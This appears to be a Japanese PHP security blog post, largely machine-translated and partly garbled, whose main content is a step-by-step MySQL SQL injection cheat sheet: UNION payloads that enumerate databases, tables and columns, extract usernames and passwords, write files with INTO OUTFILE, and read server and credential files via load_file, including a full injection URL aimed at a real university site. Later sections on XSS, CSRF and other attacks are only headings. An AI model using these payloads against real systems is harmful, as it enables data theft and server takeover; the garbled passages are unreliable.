PHPでよく見られるいくつかの攻撃方法の例のまとめ

4535 ワード

PHPでよく見られるいくつかの攻撃方法を例にまとめた.皆さんの参考にしてください.具体的には以下の通りです.
1.SQL Injection(sql注入)
①.暴動フィールド長Order by num/*
②.一致フィールドand 1=1 union select 1,2,3,4,5......n/*
③.露出フィールド位置and 1=2 union select 1,2,3,4,5.....n/*
④.内蔵関数によるデータベース情報の暴動
version() database() user()
使用可能なフィールドのデータベース情報を推測する必要はありません(一部のサイトでは適用されません):
and 1=2 union all select version()/*
and 1=2 union all select database()/*
and 1=2 union all select user()/*
オペレーティングシステム情報:
and 1=2 union all select @@global.version_compile_os from mysql.user/*
データベース権限:
and ord(mid(user(),1,1))=114/*通常の説明をrootに戻す
暴庫(mysql>5.0)
Mysql 5以上に内蔵ライブラリinformation_schema,mysqlのすべてのデータベースとテーブル構造情報and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
推測表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=データベース(16進数)limit 0(開始レコード、0は最初の開始レコード)、1(1レコードを表示)―
クイズフィールド
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=テーブル名(16進)limit 0,1
パスワード
and 1=2 Union select 1,2,3,ユーザ名セグメント,5,6,7,パスワードセグメント,8,9 fromテーブル名limit 0,1
高度な使用法(使用可能なフィールドに2つのデータ内容が表示されます):Union select 1,2,3 concat(ユーザー名セグメント、0 x 3 c、パスワードセグメント)、5,6,7,8,9 fromテーブル名limit 0,1
ダイレクトライト(Root権限)
条件:
①、サイトの物理経路を知る
②、十分な権限がある(select....from mysql.userでテストできる)
③、magic_quotes_gpc()=OFF
select'into outfile'物理経路'and 1=2 union all select一言HEX値into outfile'経路'
load_file()共通パス:
1、replace(load_file(0×2F6574632F706173737764),0×3c,0×20)2、replace(load_file(char(47101116,99,47112,9711511191100))、char(60)、char(32))上の2つは、1つのPHPファイルに完全に表示するコードを表示する.「3、load_file(char(47))など、いくつかの文字を置き換えない場合があります.FreeBSD、Sunosシステムルートディレクトリ4、/etc tpd/conf tpd.confまたは/usr/local/apche/conf tpd.conf linux APACHE仮想ホストプロファイル5、c:Program FilesApache GroupApacheconfhttpd.confまたはC:apacheconfhttpd.confを表示WINDOWSシステムapacheファイル6、c:/Resin-3.0.14/conf/resin.conf jsp開発のWebサイトresinファイルプロファイル情報を表示できます.7、c:/Resin/conf/resin.conf/usr/local/resin/conf/resin/resin.conf linuxシステム構成のJSP仮想ホスト8、d:APACHE Apache 2confhttpd.conf 9、C:Program Filesmysqlmy.ini 10、......./themes/darkblue_orange/layout. inc.php phpmyadmin爆路11、c:windowssystem 32inetsrvMetaBase.xml IISの仮想仮想仮想仮想マシンを表示する.xmlホストプロファイル12、/usr/local/resin-3.0.0.22/conf/resin.conf 3.0.22のRESINプロファイルに対して13、/usr/local/resin-pro-3.0.22/conf/resin.conf/resin.conf同上14、/usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE仮想ホストレビュー15、/etc/sysconfig/iptables本見ファイアウォールポリシー16、usr/local/app/app/php 5 b/php.ini PHPの相当設定17、/etc/my.cnf MQLの相当設定17、/etc/my.cnf MQLの相当設定17、/my.cnf MQLのプロファイル18、/etc/redhat-release赤い帽子のシステムバージョン19、C:mysqldatamysqluser.MYD MYSQLシステムに存在するユーザーパスワード20、/etc/sysconfig/network-scripts/ifcfg-eth 0 IP.21、/usr/local/app/php 5 b/php.ini//P関連設定22、/usr/local/app/apache2/conf/extratpd-vhosts.conf//仮想サイト設定23、/C:Program/Program/プログラム設定23、/C:Program FilesRhinoSoft.comServices-U\ServUDaemon.ini 24、c:\windows\my.ini 25、c:\boot.ini
手動射出時に発生する問題:
注射後のページが表示されます.
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
次のようになります.http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20
これは前後の符号化の不一致によるものであり、
解决方法:パラメータの前にunhex(hex( ))を付ければいいです.上のURLは次のように変更できます.
http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20
注射を続けることもできます...
2.XSS(Cross Site Scripting)(クロススタンドスクリプト攻撃)
//www.jb51.net/article/160334.htm
3.Source Code Levelation(ソースコード露出)
php.iniまたはhtaccessで制御できます


   Order allow,deny
   Deny from all



4.Remote File Inclusion(リモートファイルに脆弱性が含まれている)




5.Session Hijacking(sessionハイジャック)
6.Cross Site Request Forgery(クロスステーション要求偽造)
7.Directory Transversal(ディレクトリスパン)
PHPに関する詳細について興味のある読者は、「phpプログラミングセキュリティチュートリアル」、「phpセキュリティフィルタリングテクニック総括」、「PHP演算と演算子用法総括」、「PHP基本文法入門チュートリアル」、「phpオブジェクト向けプログラム設計入門チュートリアル」、「php文字列(string)用法総括」、「php+mysqlデータベース操作入門チュートリアル」を参照してください.および「php一般データベース操作テクニック要約」
ここで述べたことが皆さんのPHPプログラム設計に役立つことを願っています.